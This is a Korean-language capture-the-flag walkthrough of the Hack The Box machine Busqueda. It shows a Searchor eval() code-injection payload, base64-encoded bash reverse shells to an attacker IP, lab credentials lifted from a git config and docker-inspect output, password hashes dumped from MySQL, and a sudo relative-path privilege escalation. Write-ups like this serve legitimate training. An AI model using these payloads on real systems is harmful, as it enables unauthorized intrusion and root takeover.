HTB : https://app.hackthebox.com/machines/Busqueda?sort_by=created_at&sort_type=desc


Machine IP : 10.129.228.217

초기 침투

[서비스] / [취약점] / [CVE 또는 기법] 요약

22, 80번 포트 열림

Nmap scan report for 10.129.228.217                                                                                         
Host is up (0.32s latency).                                                      PORT   STATE SERVICE VERSION                                                                                               
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)                                           
| ssh-hostkey:                                                                                                              
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)                                                             
|_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)                                                           
80/tcp open  http    Apache httpd 2.4.52      
|_http-title: Did not follow redirect to http://searcher.htb/   
|_http-server-header: Apache/2.4.52 (Ubuntu)                                                                                
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel      

/etc/hosts에 searcher.htb 추가 검색엔진 선택 후, 키워드 입력하면 query 파라미터에 값이 추가되서 전송되며 응답 헤더의 Werkzeug/2.1.2 Python/3.10.6 값으로 보아 플라스크 서버임

쿼리 파라미터에 {{7*7}} 입력해 전송했으나 SSTI 취약점은 없는 것으로 판단됨

이 사이트는 https://github.com/ArjunSharda/Searchor 2.4.0 라이브러리를 사용함 https://github.com/advisories/GHSA-66m2-493m-crh2 문서에 따르면 Searchor의 src/searchor/main.py 파일에 있는 eval() 함수에 조작된 스크립트를 전달하여 임의의 코드를 실행함으로써, Searchor의 CLI(명령줄 인터페이스) 내 검색 기능에 영향을 미칠 수 있음

https://github.com/ArjunSharda/Searchor/pull/130/commits/29d5b1f28d29d6a282a5e860d456fab2df24a16b 커밋 로그 살펴보면 검색 시 eval 함수를 사용함

src/searchor/main.py
@click.argument("query")
def search(engine, query, open, copy):
    try:
        url = eval(
            f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        )
        url = Engine[engine].search(query, copy_url=copy, open_web=open)
        click.echo(url)
        searchor.history.update(engine, query, url)
        if open:

test',__import__('os').system('id'))%23 공격 코드 삽입 RCE 성공

리버스 쉘 연결

# base64 인코딩
echo "/bin/bash -i >& /dev/tcp/10.10.16.5/4443 0>&1" | base64 -w0
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjUvNDQ0MyAwPiYxCg==                 

# 리버스 쉘 실행           
test',__import__('os').system('echo+L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjUvNDQ0MyAwPiYxCg==|base64+-d|bash'))%23

.git/config 파일에서 cody:jh1usoih2bkjaspwe92 크리덴셜과 gitea.searcher.htb 서브도메인 발견

svc@busqueda:/var/www/app$ ls
ls
app.py  templates
svc@busqueda:/var/www/app$ ls -lah
ls -lah
total 20K
drwxr-xr-x 4 www-data www-data 4.0K Apr  3  2023 .
drwxr-xr-x 4 root     root     4.0K Apr  4  2023 ..
-rw-r--r-- 1 www-data www-data 1.1K Dec  1  2022 app.py
drwxr-xr-x 8 www-data www-data 4.0K May 10 12:01 .git
drwxr-xr-x 2 www-data www-data 4.0K Dec  1  2022 templates
svc@busqueda:/var/www/app$ 

유저 플래그 획득

svc@busqueda:/$ cd ~
cd ~
svc@busqueda:~$ ls
ls
user.txt
svc@busqueda:~$ cat user.txt
cat user.txt
b642afb02ad6bcd4ba63f73d58db741d
svc@busqueda:~$ pwd
pwd
/home/svc
svc@busqueda:~$ cd ..
cd ..
svc@busqueda:/home$ ls
ls
svc

jh1usoih2bkjaspwe92 패스워드로 ssh svc@10.129.228.217 접속도 가능함 gitea.searcher.htb 서브도메인은 gitea 서비스가 동작중

권한 상승

[misconfiguration 또는 exploit] 요약

루트 권한으로 /usr/bin/python3 /opt/scripts/system-checkup.py * 사용할 수 있으며 docker-ps, docker-inspect, full-checkup 3개의 명령으로 구성됨

svc@busqueda:~$ sudo -l
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *
svc@busqueda:~$ 
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps 실행 결과 gitea, mysql 컨테이너 존재함


     
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED       STATUS          PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   3 years ago   Up 14 minutes   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   3 years ago   Up 14 minutes   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

docker-inspect는 도커 이미지, 컨테이너, 네트워크 등 객체의 모든 상세 정보를 JSON 형식으로 출력하는 명령어임, gitea 컨테이너의 상세 정보 확인 상세 정보를 통해 패스워드는 MySQL의 패스워드는 yuiu1hoiu4i5ho1uh, 아이디는 user, gitea, maintainers, git 4개중 하나임

svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' gitea
--format={"Hostname":"960873171e2e","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"22/tcp":{},"3000/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["USER_UID=115","USER_GID=121","GITEA__database__DB_TYPE=mysql","GITEA__database__HOST=db:3306","GITEA__database__NAME=gitea","GITEA__database__USER=gitea","GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","USER=git","GITEA_CUSTOM=/data/gitea"],"Cmd":["/bin/s6-svscan","/etc/s6"],"Image":"gitea/gitea:latest","Volumes":{"/data":{},"/etc/localtime":{},"/etc/timezone":{}},"WorkingDir":"","Entrypoint":["/usr/bin/entrypoint"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"server","com.docker.compose.version":"1.29.2","maintainer":"maintainers@gitea.io","org.opencontainers.image.created":"2022-11-24T13:22:00Z","org.opencontainers.image.revision":"9bccc60cf51f3b4070f5506b042a3d9a1442c73d","org.opencontainers.image.source":"https://github.com/go-gitea/gitea.git","org.opencontainers.image.url":"https://github.com/go-gitea/gitea"}}

로컬에서 3306(MySQL) 서비스 동작중

gitea 계정으로 MySQL 접속 성공

svc@busqueda:/opt/scripts$ mysql --ssl-mode=DISABLED -u gitea -pyuiu1hoiu4i5ho1uh -h 127.0.0.1
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 22
Server version: 8.0.31 MySQL Community Server - GPL

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| gitea              |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.00 sec)

gitea 데이터베이스에 user 테이블이 존재하며 email, passwd 컬럼 조회


mysql> select email,passwd from user;
+----------------------------------+------------------------------------------------------------------------------------------------------+
| email                            | passwd                                                                                               |
+----------------------------------+------------------------------------------------------------------------------------------------------+
| administrator@gitea.searcher.htb | ba598d99c2202491d36ecf13d5c28b74e2738b07286edc7388a2fc870196f6c4da6565ad9ff68b1d28a31eeedb1554b5dcc2 |
| cody@gitea.searcher.htb          | b1f895e8efe070e184e5539bc5d93b362b246db67f3a2b6992f37888cb778e844c0017da8fe89dd784be35da9a337609e82e |
+----------------------------------+------------------------------------------------------------------------------------------------------+

john the ripper로 user테이블에서 찾은 PW 크래킹했으나 실패함 administrator / yuiu1hoiu4i5ho1uh 크리덴셜로 gitea.searcher.htb 로그인 성공

system-checkup.py 코드 읽기 성공 full-checkup 명령어를 실행하면 현재 경로의 full-checkup.sh 파일을 루트 권한으로 실행함

actions = ['full-checkup', 'docker-ps','docker-inspect']

def run_command(arg_list):
    r = subprocess.run(arg_list, capture_output=True)
    if r.stderr:
        output = r.stderr.decode()
    else:
        output = r.stdout.decode()

    return output
...
    elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)
            

if __name__ == '__main__':

    try:
        action = sys.argv[1]
        if action in actions:
            process_action(action)
        else:
            raise IndexError

    except IndexError:
        print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)')
        print('')
        print('     docker-ps     : List running docker containers')
        print('     docker-inspect : Inpect a certain docker container')
        print('     full-checkup  : Run a full system checkup')
        print('')
        exit(1)

full-checkup.sh파일을 절대 경로가 아니라 상대 경로로 실행함 PoC를 위한 full-checkup.sh 실행, 루트 권한으로 스크립트 파일을 실행하였음

svc@busqueda:~$ cat full-checkup.sh 
#!/bin/bash
# This is a comment
echo "Hello, World!"

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Hello, World!

[+] Done!

리버스쉘 코드를 포함한 sh 파일 생성

svc@busqueda:~$ chmod +x full-checkup.sh 
svc@busqueda:~$ ls
full-checkup.sh  user.txt
svc@busqueda:~$ cat full-checkup.sh 
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.16.5/8888 0>&1

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

루트 권한 획득

막힌 포인트

[열거 누락? 기법 몰랐음? 방향 잘못?] 요약